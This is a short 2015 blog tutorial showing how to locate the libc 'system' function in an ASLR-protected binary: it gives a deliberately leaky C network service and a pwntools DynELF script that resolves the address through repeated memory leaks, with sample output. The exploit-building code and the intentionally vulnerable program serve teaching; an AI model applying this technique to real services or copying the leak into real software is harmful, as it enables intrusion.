Wednesday, January 14, 2015

Finding system in libc on ASLR program with memory leak

Sometimes you are able to exploit a binary, but it has ASLR and you don't know where to find system. With a memory leak (that you can do more than once), it is possible to figure this out using the GOT/PLT entries that the ELF linker uses without having a plethora of copies of glibc lying around.

The pwntools library https://pwntools.readthedocs.org/en/2.2/ makes this pretty straight forward.

First, I'll show C code for a simple service that leaks memory:

#include <stdio.h>
main()
{
  int x;
  printf("Info leak service!\n");
  fflush(stdout);
  while(!feof(stdin)) {
    scanf("%x",&x);
    write(1,x,4);
    fflush(stdout);
  }
}


Next, we'll run this as a network service on port 2048:

socat TCP-LISTEN:2048,reuseaddr,fork EXEC:./mccservice

Now we'll use pwntools to find system. We do provide one address from the program as a starting point.

from pwnlib import *
from struct import *
main = 0x080484ed
def leak(address):
   print "leaking " + hex(address)
   r.send(format(address,'x')+'\n')
   try:
      value = r.recvn(4)
      print "returning "+hex(ord(value[0]))+hex(ord(value[1]))+hex(ord(value[2]))+hex(ord(value[3]))
      print "returning "+str(value)
      return value
   except:
      return None
  

r = tubes.remote.remote('localhost',2048)
prompt = r.recvuntil('\n',drop=True)
d = dynelf.DynELF(leak,main)
#print d.lookup(None, 'libc')
print d.lookup('system','libc')
r.close()


You'll get a number of messages-- the ones from pwntools have "Resolving" and look like:

[*] Resolving 'system' in 'libc.so':
[*] Resolving 'system' in 'libc.so': Finding linkmap
[+] Resolving 'system' in 'libc.so': 0xf7782938
[+] Resolving 'system' in 'libc.so': 0xf75dac40